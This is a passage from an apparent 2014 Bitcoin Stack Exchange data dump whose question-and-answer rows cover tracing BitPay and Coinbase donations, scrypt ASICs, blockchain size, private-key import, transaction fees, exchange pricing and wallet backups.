issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I show that Stockman, the Libertarian Party, and/or CoinPAC have received BTC contributions that did &lt;em&gt;not&lt;/em&gt; come via their donation pages (and thus BitPay or Coinbase)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pointing to specific transactions they received and explaining how it is clear to a third party that those transaction(s) weren't made via BitPay/Coinbase would be extremely helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other examples of political committees that have published a Bitcoin address or are currently receiving Bitcoins in some way would also be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;More info&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;† See our &lt;a href=&quot;https://makeyourlaws.org/fec/bitcoin&quot;&gt;bitcoin AOR page&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://plus.google.com/103112149634414554669/posts/QGw1Xc837qg&quot;&gt;my G+ post&lt;/a&gt; for some more background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, we are strictly non-partisan. Our intent here is not to make any particular candidate or party look bad, but rather support transparency in campaign finance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We &lt;em&gt;want&lt;/em&gt; to accept Bitcoin  (potential donors have requested it and we think it's a good idea), but we think it needs to be done carefully to be compatible with current law and good public policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comments on our AOR are welcome, but not really on topic here; I'm just pointing to it for context. The question here is simply: how can I identify a transaction as being / not being made via BitPay or Coinbase, just looking at the block chain? (Let's assume there's no subpoena involved. :-P)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;‡ So you needn't transcribe:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/18kKJ15uz1nuMJ2kacuahLKLL9NwnsbRQi&quot;&gt;18kKJ15uz1nuMJ2kacuahLKLL9NwnsbRQi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/1EsR4cdbgPvnD3Gk6wNkTotdzexiN56wXt&quot;&gt;1EsR4cdbgPvnD3Gk6wNkTotdzexiN56wXt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/14jc8MtHxE6M6Xn7LarvZnXF6GgaaRy1PY&quot;&gt;14jc8MtHxE6M6Xn7LarvZnXF6GgaaRy1PY&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/12QeAyDyXiMVn5uwpQUHwS8g2Z3SZf2Kvx&quot;&gt;12QeAyDyXiMVn5uwpQUHwS8g2Z3SZf2Kvx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/1GuHY98Bxf4mFw2CQEUXqwDUTRqnTRrCt8&quot;&gt;1GuHY98Bxf4mFw2CQEUXqwDUTRqnTRrCt8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/113pdko8qQYsvkbV4r7H247oFPFNMnUYqY&quot;&gt;113pdko8qQYsvkbV4r7H247oFPFNMnUYqY&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/1M9AfWnRFmgQgAuTsQssL523ANsxKzfygs&quot;&gt;1M9AfWnRFmgQgAuTsQssL523ANsxKzfygs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/199JdcXMQ41eA9ZPTLUktR9kfAiQRhaErW&quot;&gt;199JdcXMQ41eA9ZPTLUktR9kfAiQRhaErW&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/1AZxfdTXg5V3gRZMtMfQZrwgBeaQMAtKqN&quot;&gt;1AZxfdTXg5V3gRZMtMfQZrwgBeaQMAtKqN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/1NyuGppGprR6uM2koN7hH8wGP8bk6wKh15&quot;&gt;1NyuGppGprR6uM2koN7hH8wGP8bk6wKh15&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11867" LastEditorUserId="11867" LastEditDate="2014-01-11T19:06:43.480" LastActivityDate="2014-05-14T03:55:14.753" Title="How can I tell whether transactions were (not) made via BitPay / Coinbase?" Tags="|transactions|legal|privacy|coinbase.com|bitpay|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20363" PostTypeId="2" ParentId="20362" CreationDate="2014-01-11T19:02:17.480" Score="0" Body="&lt;p&gt;You can't. Transaction inputs are indistinguishable from each other.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-11T19:02:17.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20364" PostTypeId="1" CreationDate="2014-01-11T19:04:05.347" Score="1" ViewCount="2668" Body="&lt;p&gt;People keep saying that proof of work functions like scrypt prevent ASICs from working because of large memory requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's stopping ASIC designers from simply building ones that have lots of memory?&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2014-01-12T00:12:19.563" Title="ASICs and large memory requirements" Tags="|asic|scrypt|" AnswerCount="2" CommentCount="1" ClosedDate="2014-01-17T01:07:57.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="20365" PostTypeId="2" ParentId="20312" CreationDate="2014-01-11T19:50:30.363" Score="1" Body="&lt;p&gt;Let me clarify the response from kaoD for future reference. The generation transaction is a transaction with exactly 1 input, whose prevOut hash is null:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000000000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example of such a transaction in JSON format can be found &lt;a href=&quot;http://blockexplorer.com/rawtx/7dea68bf5b470747c1d821ac6e223e0d8ad611f51ddba0de4977834d3aedda02&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (blockchain.info is no use here as it does not conform the JSON output of &lt;code&gt;bitcoind&lt;/code&gt;). Notice that besides this, the Satoshi client also puts the coinbase transaction in first position in the &lt;code&gt;tx&lt;/code&gt; array, I wouldn't trust this too much though as it may well change in future and may not be consistent across clients.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-01-11T19:50:30.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20366" PostTypeId="1" CreationDate="2014-01-11T19:53:48.817" Score="1" ViewCount="4323" Body="&lt;p&gt;The ripple client application can generate new accounts using the elliptic curve algorithm. Is there a high-level function to perform this task?&lt;/p&gt;&#xA;" OwnerUserId="5312" LastActivityDate="2018-05-31T12:09:15.953" Title="How do you generate a Ripple address and secret using the ripple-lib javascript library?" Tags="|ripple|ripple-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20367" PostTypeId="2" ParentId="20343" CreationDate="2014-01-11T20:07:08.847" Score="0" Body="&lt;p&gt;If you do not have bitcoin-qt installed you can sign up on www.blockchain.info to acquire a bitcoin address &lt;/p&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="10829" LastEditDate="2014-01-13T21:56:36.897" LastActivityDate="2014-01-13T21:56:36.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20368" PostTypeId="1" CreationDate="2014-01-11T20:10:38.590" Score="6" ViewCount="4894" Body="&lt;p&gt;When I run bitcoin-qt, I noticed that it is taking lot of time to download recent blocks. It gives me impression that the more transactions, the bigger the blockchain. Even today the download is taking around a day. What happens after a year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may easily take more than 5 days. If it grows huge, can the current software handle it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the estimation of the blockchain to grow in next 10 years? Is it possible to split the blockchain into multiple blockchains? Could it become a blocker for Bitcoin adoption?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="5406" LastEditDate="2014-01-24T16:58:12.987" LastActivityDate="2014-05-13T12:29:01.887" Title="Can blockchain size become a blocker for bitcoin adoption?" Tags="|blockchain|scalability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20369" PostTypeId="1" AcceptedAnswerId="20403" CreationDate="2014-01-11T20:25:28.083" Score="0" ViewCount="1443" Body="&lt;p&gt;I've a paper wallet with privatekey which is created using coinbase.com. I want to import it in bitcoin-qt but I don't see an option in bitcoin-qt UI. &lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-12T05:01:56.770" Title="How to import a private key in bitcoin-qt?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-27T18:06:00.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="20370" PostTypeId="2" ParentId="20368" CreationDate="2014-01-11T21:14:06.703" Score="2" Body="&lt;p&gt;Today blockchain is about 14GB large. It is considerably big. And it has been growing exponentially these days. Have a look at the &lt;a href=&quot;http://blockchain.info/charts/blocks-size?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow&quot;&gt;chart&lt;/a&gt; representing size of the blockchain over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion this is technical constraint that needs to be considered, because Bitcoin blockchian may only become bigger and it will become bigger quite quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the issue is size, but actually the computational power required to analyze the blockchain when clients are syncing with network. As everybody how ever installed Bitcoin-Qt recently knows the syncing process requires lots of local resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that there are lightwaight clients as well, but as far as I understand the full nodes are actually comprising the network so therefore they are essential for the network to exist and expand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand the community is very creative and keeps innovating, so I think this is a matter of time until we see solution here. For example for today blockchain is available via Torrent network for download.&lt;/p&gt;&#xA;" OwnerUserId="10905" LastEditorUserId="10905" LastEditDate="2014-01-12T00:16:10.860" LastActivityDate="2014-01-12T00:16:10.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20375" PostTypeId="2" ParentId="20343" CreationDate="2014-01-11T21:27:18.163" Score="1" Body="&lt;p&gt;You can create &lt;strong&gt;safe&lt;/strong&gt; bitcoin address from :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your pc &lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info&lt;/li&gt;&#xA;&lt;li&gt;Cex.io&lt;/li&gt;&#xA;&lt;li&gt;Just-dice.com&lt;/li&gt;&#xA;&lt;li&gt;Btc-e.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12095" LastActivityDate="2014-01-11T21:27:18.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20377" PostTypeId="2" ParentId="20343" CreationDate="2014-01-11T21:46:17.010" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://www.bitaddress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an interesting, lightweight, trustable and really easy to use solution.&lt;/p&gt;&#xA;" OwnerUserId="12100" LastActivityDate="2014-01-11T21:46:17.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20378" PostTypeId="1" CreationDate="2014-01-11T22:04:06.327" Score="0" ViewCount="381" Body="&lt;p&gt;I have the official Bitcoin wallet and I would like to do a fresh install of everything on the computer. How can I save my Bitcoins (and hopefully block chain)?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastActivityDate="2014-01-11T22:11:57.833" Title="How to keep Bitcions when reinstalling OS from fresh" Tags="|wallet|client|backup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20379" PostTypeId="2" ParentId="20378" CreationDate="2014-01-11T22:11:57.833" Score="3" Body="&lt;p&gt;(I suppose you have the Bitcoin-Qt client.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a backup of the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4006/where-is-the-data-folder-for-bitcoin-qt&quot;&gt;Bitcoin folder&lt;/a&gt; will do it. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy the folder to an external hard drive of a different partition. &lt;/li&gt;&#xA;&lt;li&gt;Reinstall your system.&lt;/li&gt;&#xA;&lt;li&gt;Install Bitcoin-Qt again.&lt;/li&gt;&#xA;&lt;li&gt;Move the folder back.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that to keep your bitcoins, only the &lt;code&gt;wallet.dat&lt;/code&gt; file is required. But when you copy the whole folder, you will probably not need to sync with the network again.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-11T22:11:57.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20380" PostTypeId="1" AcceptedAnswerId="20381" CreationDate="2014-01-11T22:57:44.257" Score="2" ViewCount="4162" Body="&lt;p&gt;I'm trying to find an easy way to enable my website to accept bitcoin payments.  I'm trying to test out Blockchain.info's &quot;receive payment API&quot; (&lt;a href=&quot;http://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/api/api_receive&lt;/a&gt;).  Near the bottom of the page, there is a PHP example (&lt;a href=&quot;https://github.com/blockchain/receive_payment_php_demo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/receive_payment_php_demo&lt;/a&gt;) which I like to test out.  To test it out, I need to send bitcoin to Blockchain.info's address, who will later send the bitcoin back to me.  When I try to send 0.0005 BTC in my Bitcoin-QT client (v0.8.6-beta) , I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This transaction is over the size limit. You can still send it for a fee of 0.0005 BTC, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are only two buttons for me to click:  Cancel  or Yes.  0.0005 BTC is worth approximately 50 cents or 100% of the amount that I want to send.  This is an incredibly expensive fee and not at all what is touted as a cheap way to send money.  When developing and testing, one will likely need to send bitcoin through this PHP code many times, which means that these fees can add up, and all I'm doing is testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I send BTC to test payment processing without paying this fee?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2014-01-11T23:34:25.447" Title="How to avoid Bitcoin-QT's transaction fee or change size limit?" Tags="|bitcoin-core|transaction-fees|blockchain.info|testing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20381" PostTypeId="2" ParentId="20380" CreationDate="2014-01-11T23:23:22.173" Score="2" Body="&lt;p&gt;You are probably trying to pay with BTC collected from &lt;strong&gt;very small payments&lt;/strong&gt; (known as dust). This dust is commonly collected from advertisement sites. Though they know sending small payments will break your wallet this way, they just don't care as long as you keep clicking ads!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since transaction size depends greatly on how many payments you're drawing money from, this generates a &lt;strong&gt;very large transaction&lt;/strong&gt; which is very expensive both for miners and other nodes in the network. To reward miners for this cost you have to pay a fee or they will just refuse to mine/broadcast it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unless you pay this fee the transaction will be rejected by peers/miners, no matter what you do.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround you might want to consolidate all the dust sending smaller payments to yourself, but it's a tedious process, still has high fees and might not be possible depending on the concrete amount of payments you've received.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-11T23:28:54.380" LastActivityDate="2014-01-11T23:28:54.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20382" PostTypeId="2" ParentId="20380" CreationDate="2014-01-11T23:25:45.057" Score="2" Body="&lt;p&gt;You likely have many small (in value) coins in your wallet, so when constructing a payment, many of them need to be assembled to construct a transaction - resulting in a large (in bytes) transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reference implementation (v0.8.6) will enforce a fee of 0.0001 BTC per kilobyte if it doesn't satisfy the &quot;free transaction policy&quot;. Future versions of bitcoin will likely make this fee free-floating and based on actual fees paid in the network, so a free market can develop around it. Setting a higher fee will still result in a higher chance/faster processing by a miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you just want to test, use testnet instead of directly testing on the Bitcoin production network. You can start the client with the &lt;code&gt;-testnet&lt;/code&gt; flag to end up in a parallel network where coins have no value. You can use a faucet (google it) to obtain some testnet coins.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-01-11T23:34:25.447" LastActivityDate="2014-01-11T23:34:25.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20383" PostTypeId="1" AcceptedAnswerId="20384" CreationDate="2014-01-11T23:54:15.130" Score="7" ViewCount="3623" Body="&lt;p&gt;What do exchanges base their Bitcoin and alt currency prices on? What makes them say that they will sell bitcoins for certain amount? Do they increase and decrease their price based on what other exchanges are selling for?&lt;/p&gt;&#xA;" OwnerUserId="11977" LastEditorUserId="5406" LastEditDate="2015-05-12T09:34:24.017" LastActivityDate="2020-11-14T04:51:04.817" Title="How do bitcoin exchanges set prices?" Tags="|exchanges|exchange-rate|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20384" PostTypeId="2" ParentId="20383" CreationDate="2014-01-12T00:03:50.707" Score="9" Body="&lt;p&gt;An exchange doesn't set a price at all. It provides a framework for customers to buy and sell coins to each other, at whatever prices the buyers and sellers find mutually agreeable. The exchange itself does not buy or sell, and the prices it quotes are just a report of what its customers are doing  right now.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-12T00:03:50.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20385" PostTypeId="2" ParentId="20383" CreationDate="2014-01-12T00:07:35.890" Score="0" Body="&lt;p&gt;You set the price, and other user's decide if they want to buy it at whatever price. If you saw 1 btc selling for $10, you'd buy it asap right now wouldn't you? And what if you saw it at $1 million, you wouldn't buy that as well right? Exchanges just keep track and process orders people set. If set a sell order for $1 million right now, no one would fulfill it until it was reasonable for them, maybe sometime in the future.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="5406" LastEditDate="2015-05-12T09:34:54.903" LastActivityDate="2015-05-12T09:34:54.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20386" PostTypeId="2" ParentId="20364" CreationDate="2014-01-12T00:12:10.360" Score="2" Body="&lt;p&gt;Theoretically, you could produce an ASIC for every possible algorithm. It's done all the time by NSA, CIA and their kind for cryptographic purposes. Why has no company produced an ASIC for scrypt or to look for Cunningham chains? Return of investment!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Developing an ASIC for scrypt is harder than for SHA-256, this is by design. So designing the electronics is going to be costly, producing and testing the first test batches is going to be expensive as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For such a project to be done commercially, either: a) investors see a potentially big market of buyers for such an ASIC, or b) they sense a big investment opportunity in creating such machines for mining themselves a scrpyt-based coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both situations to happen, scrypt-based crypto-coins need to become more popular/used, or their market capitalization increased substantially. Now that Litecoin has become much more high-profile (and its market capitalization a big chunk), and with Dogecoin, Coinye and so many other scrypt-based coins hitting the news, that there's a lot of interest in designing an ASIC for scrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What surprises me is not seeing a team of teachers/students at any college in the world designing the electronics, getting a grant to create a few batches and finally either publicly releasing the gerbers or raising seed-capital to start a company based on the effort. I've seen a number of companies start up like this, have no idea why no one has tried it.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-12T00:12:10.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20387" PostTypeId="2" ParentId="20364" CreationDate="2014-01-12T00:12:19.563" Score="2" Body="&lt;p&gt;Production cost, an ASIC is a dedicated  chip that does only 1 task and isn't programmable. Production costs for ASICS run into millions of dollars as it involves chip design, clean room  manufacturing, and low yields (an industry average is that 50% of manufactured chips don't work and have to be trashed, can't be fixed). To create an ASIC for scrypt you have to have financial backing, that's why BFL and others did pre-orders. Scrypt is risky because ASICs for em would be the first and there's no guarantee people will buy your chips.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-12T00:12:19.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20388" PostTypeId="2" ParentId="20362" CreationDate="2014-01-12T00:14:52.290" Score="1" Body="&lt;p&gt;Only way is if Coinbase/Bitpay publicly released their addresses, which they won't.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-12T00:14:52.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20389" PostTypeId="2" ParentId="20368" CreationDate="2014-01-12T00:26:32.947" Score="4" Body="&lt;p&gt;Actually, as Satoshi explained in his paper, you can use a Simplified Payment Verification (SPV) client which would only require you to download the headers of each block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper itself:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As such, the verification is reliable as long as honest nodes control the network, but is more vulnerable if the network is overpowered by an attacker. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you're not mining, and the network is overpowered by honest nodes (as it should always be for Bitcoin's integrity) you don't need to use a full node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-QT is a full node probably because it's the official client and it bundles all the features since day one. Using something like MultiBit, which is an SPV client, would offer you the same exact amount of security as Bitcoin-QT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, the increasing size of the blockchain is not really a blocker for Bitcoin's adoption because only miners would need the entire blockchain data.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-12T00:26:32.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20391" PostTypeId="5" CreationDate="2014-01-12T00:43:44.243" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-12T00:43:44.243" LastActivityDate="2014-01-12T00:43:44.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20392" PostTypeId="4" CreationDate="2014-01-12T00:43:44.243" Score="0" Body="Questions about Dogecoin are off topic.&#xD;&#xA;&#xD;&#xA;Dogecoin (Ɖ, DOGE) is a Scrypt-based cryptocurrency based on Litecoin. It was started on 6th of December 2013. It has a very fast distribution cycle and will thereafter grow constantly." OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2019-07-17T18:43:57.877" LastActivityDate="2019-07-17T18:43:57.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20393" PostTypeId="2" ParentId="20320" CreationDate="2014-01-12T01:18:35.693" Score="0" Body="&lt;p&gt;afaik old accounts are not automatically AML flagged, only the most recent accounts are all required to verify before they can deposit or withdraw, old accounts can still withdraw btcs until they ( possibly ) get aml flagged some day and need to verify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;an account opened in  june 2013 is possibly old enough to still be allowed to withdraw bitcoins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mtgox does NOT &quot;take your btc until you verify&quot;, never, ever&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you should have opened a support ticket &lt;/li&gt;&#xA;&lt;li&gt;if you did and your story is true, give the ticket number, the mtgox support will have a look at it&lt;/li&gt;&#xA;&lt;li&gt;you should secure your mtgox account with a one time password ( OTP ) using a yubikey, otpcard, or at the very least google auth, particularly if you use windows shitty OS ( installing a keylogger on your windows computer is pretty easy for thousands of good crackers )&lt;/li&gt;&#xA;&lt;li&gt;in many cases, people reporting this kind of story had an intelligent friend or girlfriend using an opened session to empty the account of the btcs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2014-01-12T11:53:10.163" LastActivityDate="2014-01-12T11:53:10.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20394" PostTypeId="1" AcceptedAnswerId="20455" CreationDate="2014-01-12T03:21:18.757" Score="1" ViewCount="4195" Body="&lt;p&gt;I am running Windows 7, and every time I open Bitcoin-Qt (v0.8.6-beta) during synchronization my CPU runs at around 95% according to the Windows Task Manager. As soon as synchronization is finished, the processor goes back to a normal 4-15% usage. What is Bitcoin-Qt doing that it needs so much processing power? Why is Bitcoin-Qt different from my other wallets, like elacoin, that do not use CPU when synchronizing?&lt;/p&gt;&#xA;" OwnerUserId="12107" LastEditorUserId="5406" LastEditDate="2014-05-02T17:02:31.547" LastActivityDate="2014-05-02T17:02:31.547" Title="Why is Bitcoin-qt using my CPU at 100%?" Tags="|bitcoin-core|synchronization|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20398" PostTypeId="2" ParentId="20394" CreationDate="2014-01-12T04:43:01.070" Score="1" Body="&lt;p&gt;It verifies the blocks that it receives from network and you don't have locally, assuming you haven't modified the bitcoin.conf file for added functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of writing, Bitcoin has 280,032 blocks with 144 new blocks in average per day while Elacoin only 53,236 with 12 new blocks in average per day so it's totally normal that CPU will be utilized much less during Elacoin's synchronization. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-12T04:43:01.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20399" PostTypeId="2" ParentId="12163" CreationDate="2014-01-12T04:43:46.583" Score="-1" Body="&lt;p&gt;I use cryptsy.com for most altcoins. It's secure and has low withdrawal fees.&lt;/p&gt;&#xA;" OwnerUserId="11886" LastActivityDate="2014-01-12T04:43:46.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20400" PostTypeId="1" CreationDate="2014-01-12T04:48:44.230" Score="1" ViewCount="2259" Body="&lt;p&gt;I need to make a block explorer for some alternative cryptocurrencies. I'm using Litecoin for testing, but JSON-RPC requests through PHP are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20397/too-slow-json-rpc&quot;&gt;very slow&lt;/a&gt;. Maybe JSON-RPC isn't the right thing for such purposes? What other tools you can recommend?&lt;/p&gt;&#xA;" OwnerUserId="11886" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-01-12T09:49:33.653" Title="How to make a block explorer?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20403" PostTypeId="2" ParentId="20369" CreationDate="2014-01-12T05:01:56.770" Score="1" Body="&lt;p&gt;Help-&gt;Console &quot;importprivkey YOURKEYGOESHERE&quot;&lt;/p&gt;&#xA;" OwnerUserId="11886" LastActivityDate="2014-01-12T05:01:56.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20404" PostTypeId="1" CreationDate="2014-01-12T05:54:39.597" Score="4" ViewCount="238" Body="&lt;p&gt;There are many different digital currencies being released now, following in the footsteps of bitcoin and trying to improve upon it.  Will these currencies, by giving consumers more options, reduce demand for bitcoin and decrease or limit the increase in its value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stephen's answer made me realize that I'm not just talking about any crypto but the one's that will inevitably improve upon the already great bitcoin model.  &lt;/p&gt;&#xA;" OwnerUserId="12110" LastEditorUserId="12110" LastEditDate="2014-01-12T19:36:58.623" LastActivityDate="2014-02-17T11:46:34.497" Title="Will bitcoin's value be affected by other digital currencies?" Tags="|currencies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20405" PostTypeId="2" ParentId="20404" CreationDate="2014-01-12T06:04:53.300" Score="1" Body="&lt;p&gt;The only thing I can tell is that bitcoin isn't fast enough, compared to other cryptocurrencies. For example, a &lt;a href=&quot;http://dogecoin.com/&quot; rel=&quot;nofollow&quot;&gt;dogecoin&lt;/a&gt; transaction gets 3 confirmations in 1-3 minutes, while bitcoin can take up to 30.&lt;/p&gt;&#xA;" OwnerUserId="11886" LastEditorUserId="11886" LastEditDate="2014-01-12T09:19:31.243" LastActivityDate="2014-01-12T09:19:31.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
